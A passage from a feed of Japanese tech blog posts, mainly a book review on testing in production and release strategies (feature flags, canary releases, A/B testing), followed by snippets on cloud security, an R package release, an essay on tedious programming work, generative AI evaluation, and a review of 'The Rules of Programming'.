チャ環境では、各サービスの新バージョンを独立してテストできるようになり、リスクを大幅に軽減できました。一方で、フィーチャートグルの管理には課題もあります。トグルの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。この点について、著者の議論がもう少し深掘りされていれば良かったと感じました。私のチームでは、定期的なトグルの棚卸しと、トグルのライフサイクル管理を導入することで、この問題に対処しています。テストデータの管理本番環境でのテストにおけるテストデータの管理の重要性について強調しています。特に、テストデータと実データの分離、テストデータの漏洩防止について詳細に説明されています。この点は、SREの観点からも非常に重要です。テストデータの不適切な管理は、セキュリティリスクやコンプライアンス違反につながる可能性があります。私のチームでは、テストデータに特別なフラグを付け、本番環境でも安全に使用できるようにしています。また、テストデータの自動生成と定期的なクリーンアップを行うことで、データの鮮度と安全性を維持しています。著者の提案の中で特に興味深かったのは、テストデータを常に返すAPIの考え方です。これは、システム全体の一貫性を保つ上で非常に有効な方法だと感じました。ただし、この方法を採用する際は、パフォーマンスへの影響や、テストデータの管理コストについても慎重に検討する必要があります。本番環境でのデバッグ本番環境でのデバッグの難しさについても言及しています。特に、フロントエンドコードのデバッグに関する議論は非常に興味深かったです。ソースマップを本番環境で利用することについての著者の提案は、賛否両論あると思います。確かに、デバッグの容易さという点では大きなメリットがありますが、セキュリティの観点からは慎重に検討する必要があります。私の経験では、ソースマップを限定的に利用する方法(例えば、特定のIPアドレスからのアクセスに限定する)が有効でした。また、バックエンド側のデバッグについても言及があれば良かったと感じました。例えば、分散トレーシングやログ集約の重要性、エラー報告システムの構築などは、本番環境でのデバッグに不可欠な要素です。ステージング環境の役割再考著者は最後に、本番環境でのテストが十分に成熟した場合、ステージング環境の役割を再考する必要があると主張しています。この点については、完全に同意します。Figure 11-9. Testing in production and continuous delivery maturity より引用Figure 11-9は、テスト環境の進化を示しており、非常に示唆に富んでいます。確かに、多くの組織で複雑なステージング環境の維持に多大なリソースが費やされています。本番環境でのテストが十分に成熟すれば、これらのリソースをより価値のある活動に振り向けることができます。私の経験では、ステージング環境を完全に廃止するのではなく、その役割を再定義することが有効でした。例えば、自動化されたインテグレーションテストの実行や、大規模な移行テストの実施など、特定の目的に特化したステージング環境を維持することで、本番環境のリスクを最小限に抑えつつ、効率的なテストが可能になりました。結論第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境テストの重要性と実践方法について、深い洞察を提供しています。著者の主張は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。本番環境でのテストは、単なるリスクテイキングではなく、むしろシステムの信頼性と品質を大幅に向上させる強力なツールです。フィーチャートグルの活用、適切なテストデータ管理、そして成熟したデバッグ手法の組み合わせにより、安全かつ効果的な本番環境テストが可能になります。しかし、本番環境でのテストを成功させるためには、技術的な課題だけでなく、組織文化の変革も必要です。開発者、QA、運用チームの緊密な連携と、「失敗から学ぶ」文化の醸成が不可欠です。また、本番環境テストの成熟度に応じて、ステージング環境の役割を再考することも重要です。リソースの効率的な活用と、より迅速なフィードバックループの確立につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、より洗練された本番環境テスト戦略を構築していきたいと考えています。特に、フィーチャートグル管理の最適化、テストデータの自動生成と管理、そして分散システムにおけるデバッグ手法の改善に注力する必要があるでしょう。本番環境でのテストは、継続的デプロイメントの成功に不可欠な要素です。それは単にバグを早期に発見するだけでなく、システム全体の信頼性、スケーラビリティ、そして最終的にはユーザー満足度の向上につながります。この章の内容は、その挑戦に立ち向かうための貴重な指針となるでしょう。Chapter 12. Releasing第12章「Releasing」は、継続的デプロイメントの最終段階であるリリースプロセスに焦点を当てています。この章では、デプロイメントとリリースの違い、カナリーリリース、A/Bテスティングなど、安全かつ効果的にソフトウェアをユーザーに届けるための重要な概念と戦略が詳細に解説されています。デプロイメントとリリースの区別著者は冒頭で、デプロイメントとリリースの明確な区別を強調しています。デプロイメントは日常的な技術的イベントで、エンジニアリングニーズに基づいて1日に複数回行われる可能性があります。一方、リリースはビジネスイベントで、プロダクトニーズに基づいて独自のペースで行われます。この区別は、継続的デプロイメントの実践において極めて重要です。私自身、以前携わっていたプロジェクトで、この区別の重要性を痛感しました。デプロイメントとリリースを明確に分離することで、技術チームはコードの変更を頻繁に本番環境にプッシュしつつ、ビジネス側はユーザーへの機能公開のタイミングを戦略的にコントロールできるようになりました。例えば、ある大規模なECサイトのリニューアルプロジェクトでは、新機能のコードを数週間かけて段階的にデプロイしながら、実際のリリース(ユーザーへの公開)は大規模なマーケティングキャンペーンに合わせて一斉に行いました。これにより、技術的なリスクを最小限に抑えつつ、ビジネスインパクトを最大化することができました。フィーチャーフラグの重要性フィーチャーフラグをリリース管理の中心的なツールとして位置づけています。フィーチャーフラグは、コードのデプロイメントと機能のリリースを分離する強力なメカニズムです。私の経験からも、フィーチャーフラグの重要性は強調してもしきれません。以前、マイクロサービスアーキテクチャを採用したプロジェクトで、フィーチャーフラグを活用して新機能のロールアウトを制御しました。例えば、新しい決済システムの導入時には、まず社内ユーザーのみに機能を公開し、その後徐々にユーザーセグメントを拡大していきました。これにより、潜在的な問題を早期に発見し、大規模な障害を防ぐことができました。ただし、フィーチャーフラグの管理には課題もあります。フラグの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。私のチームでは、定期的なフラグの棚卸しと、フラグのライフサイクル管理を導入することで、この問題に対処しています。カナリーリリースカナリーリリースを新機能の安全な導入方法として詳細に説明しています。カナリーリリースは、新機能を限られたユーザーグループに段階的に公開し、その影響を監視しながら徐々に対象を拡大していく手法です。私自身、カナリーリリースの有効性を実感した経験があります。ある大規模なSaaSプラットフォームで、新しいデータ処理パイプラインを導入する際に、カナリーリリースを採用しました。最初は全トラフィックの1%に対して新パイプラインを有効にし、パフォーマンスと整合性を監視しました。問題が発見されなかったため、段階的にトラフィックを5%、10%、25%と増やしていきました。この段階的なアプローチにより、本番環境での予期せぬ問題を早期に発見し、修正することができました。例えば、トラフィックを10%に増やした際に、特定のケースでレイテンシが増加していることが分かりました。これにより、大規模な障害が起こる前に問題を特定し、修正することができました。A/BテスティングA/Bテスティングを製品開発の重要なツールとして紹介しています。A/Bテスティングは、異なるバージョンの機能を同時に比較し、ユーザー行動やビジネスメトリクスへの影響を測定する手法です。私の経験からも、A/Bテスティングは製品開発の意思決定プロセスを大きく改善する可能性があります。例えば、あるECサイトのチェックアウトフローの最適化プロジェクトでは、新旧2つのバージョンをA/Bテストしました。結果、新しいフローがコンバージョン率を8%向上させることが統計的に有意に示されました。これにより、新フローの全面的な導入を自信を持って決定することができました。しかし、A/Bテスティングには課題もあります。テストの設計、実行、結果の分析には多大な時間と労力が必要です。また、テスト期間中は複数のバージョンのコードを維持する必要があり、技術的な複雑性が増加します。私のチームでは、A/Bテスト専用のインフラストラクチャを構築し、テストの実施から結果の分析までを効率化することで、これらの課題に対処しています。カナリーリリースとA/Bテスティングの使い分けカナリーリリースとA/Bテスティングの違いと使い分けについて明確に説明しています。カナリーリリースは主にリリースのリスク軽減を目的としているのに対し、A/Bテスティングは製品実験とユーザー行動の理解を目的としています。この区別は重要ですが、実際のプロジェクトでは両方のアプローチを組み合わせて使用することが多いです。私の経験では、新機能をカナリーリリースで安全にデプロイした後、A/Bテストを実施してその効果を測定するという流れが効果的でした。例えば、新しい検索アルゴリズムの導入時には、まずカナリーリリースで全トラフィックの10%に新アルゴリズムを適用し、パフォーマンスと安定性を確認しました。問題がないことを確認後、残りの90%のトラフィックを使ってA/Bテストを実施し、新旧アルゴリズムのユーザーエンゲージメントと検索精度を比較しました。この方法により、技術的なリスクを最小限に抑えつつ、ビジネス面での効果を正確に測定することができました。結論フィーチャーフラグ、カナリーリリース、A/Bテスティングを効果的に活用することで、組織はリリースのリスクを最小限に抑えながら、データに基づいた製品開発の意思決定を行うことができると結論づけています。私自身の経験からも、これらの手法は継続的デプロイメントの成功に不可欠だと強く感じています。ただし、これらの手法を効果的に活用するためには、技術的な実装だけでなく、組織文化の変革も必要です。開発者、製品管理者、データアナリストなど、異なる役割の人々が緊密に連携し、迅速な意思決定と実行を行える体制を整えることが重要です。また、これらの手法を導入する際は、組織の規模、技術スタック、開発文化を考慮し、段階的に導入していくことをお勧めします。例えば、まずはシンプルなフィーチャーフラグから始め、徐々にカナリーリリース、そしてA/Bテスティングへと発展させていくアプローチが効果的でしょう。最後に、リリース戦略は常に進化し続けるべきものだと考えています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、継続的に自社のリリースプロセスを見直し、改善していく姿勢が重要です。この章で学んだ原則と手法を基礎としつつ、各組織やプロジェクトの特性に合わせてカスタマイズし、より効果的なリリース戦略を構築していくことが、継続的デプロイメントの成功につながるのだと確信しています。おわりに本書を読むのを通じて、継続的デプロイメントの全体像を探求できました。理論的な基礎から始まり、実際の開発サイクルにおける適用、そしてリリース戦略に至るまで、幅広いトピックをカバーしてました。特に印象的だったのは、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチを変革する可能性を持つことです。フィーチャーフラグ、カナリーリリース、A/Bテスティングなどの手法は、リスクを最小限に抑えつつ、データに基づいた意思決定を可能にします。継続的デプロイメントの実践は、常に進化し続けています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、私たちも常に学び、適応していく必要があります。なお、本読書感想文ではPart V. Case Studiesを省略しています。この部分では、実際の企業が継続的デプロイメントをどのように実践しているかの事例が紹介されています。これらの事例は、理論を実践に落とし込む上で非常に有益な洞察を提供しています。興味のある方は、ぜひ原書を手に取って読んでみることをお勧めします。最後に、継続的デプロイメントの導入を検討している読者の皆様に、エールを送りたいと思います。この旅は挑戦的ですが、同時に非常にやりがいのあるものです。成功だけでなく、失敗からも多くを学ぶことができるでしょう。ソフトウェア開発の景色は常に変化しています。皆様が継続的デプロイメントを通じて、どのような成果を上げ、どのような課題に直面するのか、ぜひフィードバックをお聞かせください。私たちエンジニアの共同体全体で、この実践をさらに発展させていけることを楽しみにしています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-10-01T23:04:53.000Z","dateMiliSeconds":1727823893000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~","link":"https://sreake.com/blog/intec_3shake/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-30T05:01:51.000Z","dateMiliSeconds":1727672511000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドセキュリティとは","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","contentSnippet":"1. はじめに 近年、企業のIT環境は急速にクラウド化が進んでいます。 クラウドサービスの利用により、柔軟なリソース管理や迅速なサービス展開が可能になり、ビジネスの迅速な立ち上げや、運用効率化、コスト削減などを実現できる […]The post クラウドセキュリティとは first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-30T01:34:40.000Z","dateMiliSeconds":1727660080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rのヘルプを便利にするfelp v0.6.0をリリース","link":"https://blog.atusy.net/2024/09/27/felp-0-6-0/","contentSnippet":"Rのヘルプを便利にするfelpパッケージのv0.6.0をリリースしました。felpはfunctional helpの略称です。数年前のTokyo.Rでの雑談がきっかけで生まれたパッケージで主に以下の機能があります。","isoDate":"2024-09-27T00:00:00.000Z","dateMiliSeconds":1727395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛","link":"https://sreake.com/blog/moderninfra_appssummit/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-25T01:11:18.000Z","dateMiliSeconds":1727226678000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Argo CDによるKubernetesマルチテナント構成の検討","link":"https://sreake.com/blog/kubernetes-multi-tenants-by-argo-cd/","contentSnippet":"はじめに はじめまして、スリーシェイクのSreake事業部インターン生の上田です。 私は、SRE技術の調査と研究を行う目的で2024年8月19日~8月30日に開催された2週間のインターンに参加しました。 私はCI/CDパ […]The post Argo CDによるKubernetesマルチテナント構成の検討 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-09-24T22:18:20.000Z","dateMiliSeconds":1727216300000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クリアファイルで財布に入るキーケースを作った","link":"https://blog.atusy.net/2024/09/21/handmade-keycase/","contentSnippet":"昨日の記事で紹介したhmnyのコンパクト財布に入るキーケースを作りました。クリアファイルを加工しているので薄くて軽くて丈夫です。逆さにして振っても鍵が落ちてこない絶妙なホールド力も実現。ハンドメイドなので、自分の鍵にサイズを合わせられるメリットが活きています。自宅と自転車の鍵が入ります。間にはマスキングテープでスマートタグのTileを貼りつけています。これで最低限必要な鍵は財布と共に持ち歩けます。トラッキングも鍵と財布で分けずに一元化できます。空の状態はこんな感じ。クリアファイルから必要なサイズを切り取って、鍵の形に合わせて溶着しています。クリアファイルはポリプロピレン製で230度~280度の温度で溶着できるとのことだったので、温度調整機能つきのはんだごてを270度に設定して使いました。こて先が広めな面状のものを使うと、もう少し仕上がりがよかったかもしれません。","isoDate":"2024-09-21T00:00:00.000Z","dateMiliSeconds":1726876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"退屈な作業をなぜ避けるべきでないのか?もしくはちゃんとやる","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/20/171550","contentSnippet":"はじめにプログラミングは、本質的に創造性に満ちた営みであり、知的好奇心を刺激する活動です。これこそが、私がプログラミングに深い愛着を感じる主な理由であり、恐らく多くの方々も同じではないでしょうか?。プログラミングにおいて、各課題は独自性を持ち、その解決には常に新たな発想が求められます。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonしかしながら、全ての問題に同僚や上司を唸らす解決策が存在するわけではありません(もしくは自分の知らない美しい解決策があるのかもしれない)。どれほど刺激的なプロジェクトであっても、単調な作業が不可避な場面は必ず存在します。例えば、創造性を発揮しにくい定型業務や、誰もが敬遠しがちな煩雑な作業などが挙げられます。私たちは往々にして、こうした退屈な作業を後回しにし、より魅力的なタスクに取り組みたいという誘惑に駆られます。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon地味で魅力に乏しい作業は放置すれば勝手に片付くわけではありません。そして、中途半端に処理された作業は、プロジェクト全体の品質を徐々に蝕む危険因子となり得ます。これらの作業も、プロジェクトの成功には欠かせない重要な要素です。主人公追放系みたいな結論になりたくないのであればチーム全体で、これらの作業の価値を理解し、適切に分担して取り組むことが、健全なプロジェクト運営につながります。雑用付与術師が自分の最強に気付くまで(コミック) : 1 (モンスターコミックス)作者:アラカワシン,戸倉儚双葉社Amazonプログラマーの三大美徳ここからは余談の時間です。本記事では、プログラミング界隈で長く語り継がれてきた「プログラマーの三大美徳」という概念を紹介します。一見すると矛盾しているように見えるこれらの美徳は、実は優秀なプログラマーが体現すべき本質的な姿勢を巧みに表現しています。怠惰(Laziness)短気(Impatience)傲慢(Hubris)これらの「美徳」は、表面的な意味とは異なり、長期的な効率と品質を追求するための姿勢を象徴しています。3つをそれぞれ紹介します。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonなお、このようなプログラミングに関する概念や原則について、より広く学びたい方には「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」という書籍がおすすめです。プログラミングの基本から応用まで幅広く網羅されており、キャリアの長さに関わらず有益な知識を得ることができるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon怠惰ここでいう怠惰は、単に仕事を避けることではありません。将来の労力を削減するために今努力する姿勢を指します。例えば、繰り返し作業を自動化するスクリプトを作成することで、長期的には大幅な時間短縮が可能になります。短気この文脈での短気は、非効率やバグに対する不寛容さを意味します。問題を見つけたらすぐに解決しようとする姿勢は、ソフトウェアの品質向上に直結します。傲慢ここでの傲慢さは、自分のコードに対する高い基準と誇りを持つことを指します。他者の目に耐えうる質の高いコードを書こうとする姿勢は、長期的にはメンテナンス性の向上をもたらします。退屈な作業を避けない理由これらの美徳を念頭に置くと、退屈な作業の重要性が見えてきます。では、なぜ退屈な作業を避けてはいけないのでしょうか。以下に理由を挙げます。短期的な不便を我慢することで、長期的な利益が得られるコードの品質と保守性が向上する同じ問題が繰り返し発生するのを防ぐことができる例えば、関数の引数を追加し、それを使用している全ての箇所を更新する作業は退屈で時間がかかりますが、これを怠ると将来的に大きな問題を引き起こす可能性があります。賢明な努力の仕方プログラミングにおいて退屈な作業は避けられませんが、それらに対処する効果的な方法があります。以下に、退屈な作業に直面したときに個人的な対応策を紹介します。自動化の可能性を探る繰り返し行う作業や定型的なタスクに遭遇したら、まずその自動化を検討しましょう。作業の頻度と複雑さを考慮しつつ、スクリプト作成やツール導入などの自動化手段を探ります。短期的には多少の労力が必要でも、長期的には大幅な時間節約と効率化につながる方法を模索することが重要です。近年では、生成AIの活用も自動化の強力な選択肢となっています。例えば:コード生成: 単調な構造のコードや、頻繁に書く定型的なコードパターンの生成に利用できます。ドキュメント作成: コメントの生成やREADMEファイルの下書き作成など、文書作成作業の効率化に役立ちます。テストケース生成: 基本的なユニットテストの雛形を自動生成し、テスト作成の負担を軽減できます。バグ修正支援: エラーメッセージを基に、潜在的な修正案を提案してもらうことができます。ただし、AIの出力は常に人間のレビューと検証が必要であり、また著作権や法的問題にも注意が必要です。自動化にも適切な投資と判断が必要であり、作業の重要度と頻度に応じて最適な方法を選択することが賢明です。完璧を求めすぎない完璧主義は時として進捗の妨げになります。問題の本質的な部分に注力し、まずは効率的に動く最小限の機能を実装することを目指しましょう。残りの細部は段階的に改善していく方針を取ることで、プロジェクトを効率的に進めながらも品質を確保することができます。長期的な視点を持つ目の前の作業に追われるだけでなく、その作業が将来のコード品質や保守性にどのような影響を与えるかを常に意識することが大切です。短期的には非効率に見えても、長期的には大きな価値を生み出す取り組みを優先することで、持続可能で高品質なソフトウェア開発が可能になります。技術的負債を減らし、将来の拡張性を考慮したコーディングを心がけましょう。退屈さを認識しつつ取り組む避けられない退屈な作業に直面した際は、その必要性や全体における位置づけを理解することが重要です。小さな目標を設定したり、作業の中から新しい学びを見出したりするなど、モチベーションを維持する工夫をしながら粛々と取り組みましょう。このような姿勢は、プロフェッショナルとしての成熟度を高めるとともに、最終的にはプロジェクト全体の品質向上に大きく貢献します。時間を区切って取り組む面倒で退屈な作業に向き合う際、ポモドーロテクニックのような時間管理手法を活用するのも効果的です。これは、25分の作業と5分の休憩を1セットとし、これを繰り返す方法です。時間を区切ることで、以下のような利点があります:集中力の維持:短い時間に区切ることで、集中力を持続させやすくなります。達成感の獲得:1ポモドーロ(25分)ごとに小さな達成感を味わえます。作業の可視化:何ポモドーロ分の作業だったかを数えることで、作業量を把握しやすくなります。ストレス軽減:定期的な休憩により、精神的な負担を軽減できます。退屈な作業も、「あと1ポモドーロだけ」と自分に言い聞かせることで、モチベーションを保ちやすくなります。また、この手法は作業の見積もりにも役立ち、「このタスクは約4ポモドーロで終わりそうだ」といった具合に、作業の規模を把握しやすくなります。時間を決めて取り組むことで、際限なく作業が続く不安も軽減され、より前向きに退屈な作業に取り組めるようになるでしょう。これらの方策を適切に組み合わせることで、退屈な作業も効率的かつ効果的に取り組むことができ、結果としてプロジェクト全体の質の向上につながります。プログラミングの技術は、こうした日々の小さな努力の積み重ねによって磨かれていきます。おわりにプログラマーとして成長するためには、創造的な作業だけでなく、時には退屈な作業を受け入れて取り組む必要があります。これは単なる根性論ではなく、コードの品質と効率を長期的に向上させるための賢明な戦略なのです。三大美徳を心に留めながら、退屈な作業も真摯に取り組むことで、より優れたプログラマーになることができるでしょう。時には「ただ釘を打つ」ような単純作業も、全体の品質向上には欠かせません。実際、この「釘を打つ」作業の質が、ソフトウェア全体の堅牢性と信頼性に大きく響くのです。一本一本の釘がしっかりと打たれていなければ、どんなに立派な設計図も意味をなさないのと同じです。プログラミングの本質は、単に動くコードを書くことではなく、保守性が高く、効率的で、長期的に価値のあるソフトウェアを作ることです。そのためには、時には退屈な作業も厭わない姿勢が必要です。小さな作業の積み重ねが、最終的には大きな違いを生み出すのです。完璧な設計や革新的なアルゴリズムも重要ですが、それらを支える地道な作業の質こそが、ソフトウェアの真の強さを決定づけます。退屈な作業を丁寧に、そして誠実に遂行することで、私たちは真に信頼性の高い、価値あるソフトウェアを作り上げることができるのです。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazon","isoDate":"2024-09-20T08:15:50.000Z","dateMiliSeconds":1726820150000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"hmny casualのコンパクト財布を買った","link":"https://blog.atusy.net/2024/09/20/hmny-wallet/","contentSnippet":"10年以上、アブラサスの旅行財布を使っていましたが、この度、hmny casualのコンパクト財布に買い替えました。写真はやや青みがかかってますが、実際には黄緑に近い色です。皺の入りかたは個体差があり、1つと同じ商品がないところもステキ。","isoDate":"2024-09-20T00:00:00.000Z","dateMiliSeconds":1726790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud で生成 AI アプリを評価するアーキテクチャパターン","link":"https://zenn.dev/kimitsu/articles/google-cloud-gen-ai-eval-arch","contentSnippet":"用語について オンライン評価とオフライン評価評価はそのタイミング、やり方によってオンライン評価とオフライン評価に分けられます。オンライン評価とは、システムやモデルが実際の運用中にリアルタイムで評価される手法です。オフライン評価は、事前に用意されたデータセットを使用し、システムやモデルの性能をテスト環境で評価する方法です。生成 AI アプリケーションの場合には、オンライン評価は実際のユーザが生成 AI を利用した際の入出力に対して評価を行います。特徴としては、模範解答を用意することができないため生成 AI による評価(LLM as a Judge)をします。オフライン評...","isoDate":"2024-09-15T13:36:11.000Z","dateMiliSeconds":1726407371000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"ルールは現場で死にました - The Rules of Programming の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/15/151738","contentSnippet":"本日は人生の数ある選択肢のなかから、こちらのブログを読むという行動を選んでくださいまして、まことにありがとうございます。はじめにプログラミングの世界には多くの指針や原則が存在します。Chris Zimmerman氏の「The Rules of Programming」(邦題:ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール)は、不変の知恵を凝縮した一冊です。これらの原則は、多くの開発現場で活用できる有益な内容となっていると思いました。The Rules of Programming: How to Write Better Code (English Edition)作者:Zimmerman, ChrisO\'Reilly MediaAmazon本書は、大ヒットゲーム『Ghost of Tsushima』などで知られるゲーム制作スタジオ、Sucker Punch Productionsの共同創設者であるChris Zimmerman氏によって書かれました。コードの品質、パフォーマンス、保守性に関する多くの原則は、ゲーム開発以外の様々な分野で共通しています。豊富な経験の中で培われた知見が、仕様通り、想定通りにコードを書けるようになったものの、さらに良いコードがあるはずだという漠然とした感覚を抱いているあなたのスキルを次のレベルへと導いてくれるでしょう。本日は #英語デー\uD83C\uDF0Fあの名台詞、英語で言ってみよう!\\"誉れは浜で死にました。ハーンの首をとるために。\\"\\"Honor died on the beach. Khan deserves to suffer.\\"- 境井仁 (『Ghost of Tsushima』より)#ゴーストオブツシマ #GhostofTsushima #英語の日 #ゲームで学ぶ英会話 pic.twitter.com/RBYRuRVmvx— プレイステーション公式 (@PlayStation_jp) 2021年4月23日 ブログのタイトルは「誉れは浜で死にました。」- 境井仁 (『Ghost of Tsushima』より)からいただきました。このタイトルは、本書の内容と呼応するように、時に固定観念や既存のルールを疑い、現場の状況に応じて柔軟に対応することの重要性を示唆しています。21のルールの意義と特徴著者の豊富な経験から抽出された21のルールは、新人から経験豊富な開発者まで、すべてのプログラマーが知っておくべき本質的な知恵を提供しています。これらのルールは単なる技術的なティップスではなく、プログラミングの哲学とも言えるものです。例えば、「コードは書くものではなく、読むものである」というルールは、保守性と可読性の重要性を強調しています。ルールは現場で死にました本書の特筆すべき点は、実際の開発現場からの生きた例が豊富に盛り込まれており、著者が読者に対しこれらのアプローチを鵜呑みにせず自身の現場や経験と照らし合わせながら批判的に考えることを推奨していることです。この姿勢は、プログラミングが常に進化し、コンテキストによって最適な解決策が変わり得ることを認識させてくれます。本書を通じて、私たちはプログラミングの技術だけでなく、良いコードとは何か、どのようにしてそれを書くべきかについて、深く考えさせられます。これは単なるスキルアップではなく、プログラマーとしての思考方法や哲学の形成にも大きく寄与するでしょう。当初の目論見と能力不足による断念当初、様々なコーディングルールをまとめて紹介しようと考えていましたが、作業量が膨大となり断念しました。この経験から、良質な情報をキュレーションすることの難しさと重要性を学びました。今後、機会を見つけて他のコーディングルールについても順次紹介していきたいと考えています。この過程で、異なる開発文化や言語間での共通点や相違点についても探究していきたいと思います。日本語版日本語版の出版により、多くの日本人エンジニアがより深い理解を得られ、本書の真髄を効果的に吸収できたと実感しています。翻訳書の重要性は、単に言語の壁を取り除くだけでなく、文化的なコンテキストを考慮した解釈を提供する点にもあります。この日本語版は、日本のソフトウェア開発文化にも大きな影響を与える可能性を秘めています。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。syu-m-5151.hatenablog.com本編「The Rules of Programming」は、ソフトウェア開発の様々な側面を網羅する包括的なガイドです。著者の長年の経験から得られた洞察は多くの開発者にとって貴重な指針となりますが、最も印象に残ったのは、これらのルールを批判的に検討し、自身の環境や経験に照らし合わせて適用することの重要性を著者が強調している点です。この本は単なるテクニカルガイドを超え、プログラミングの本質と向き合うための思考法を提供しています。21のルールそれぞれが、コードの品質向上だけでなく、プログラマーとしての成長にも寄与する深い洞察を含んでいます。例えば、「最適化の前に測定せよ」というルールは、効率化の重要性と同時に、根拠に基づいた意思決定の必要性を説いています。また、本書は理論だけでなく実践的なアドバイスも豊富です。各ルールに付随する具体例やケーススタディは、抽象的な概念を現実の開発シナリオに結びつける助けとなります。これにより、読者は自身の日々のプログラミング実践に直接適用できるインサイトを得ることができます。結論として、この本は単にプログラミングスキルを向上させるだけでなく、ソフトウェア開発に対する包括的な理解と哲学を育むための貴重なリソースとなっています。プログラマーとしてのキャリアのどの段階にあっても、本書から学ぶべき重要な教訓があるでしょう。しかし、本書の本当の価値は私の読書感想文程度では伝えきれません。なので、「ほへー」以上の思考を抱かず、書籍を読んで下さい。ぜひ、あなた自身でこの本を手に取り、21のルールそれぞれについて熟考し、自分の経験と照らし合わせながら、プログラミングの本質に迫ってください。その過程で得られる洞察こそが、あなたのソフトウェア開発スキルを次のレベルへと導くでしょう。Rule 1. As Simple as Possible, but No Simpler第1章「As Simple as Possible, but No Simpler」は、プログラミングの根幹を成す重要な原則を探求しています。この章では、シンプルさの重要性、複雑さとの戦い、そして適切なバランスを見出すことの難しさについて深く掘り下げています。著者は、ある言葉を引用しながら、プログラミングにおける「シンプルさ」の本質を明確に示しています。この主題に関しては、「A Philosophy of Software Design」も優れた洞察を提供しています。以下のプレゼンテーションは、その概要を30分で理解できるよう要約したものです。 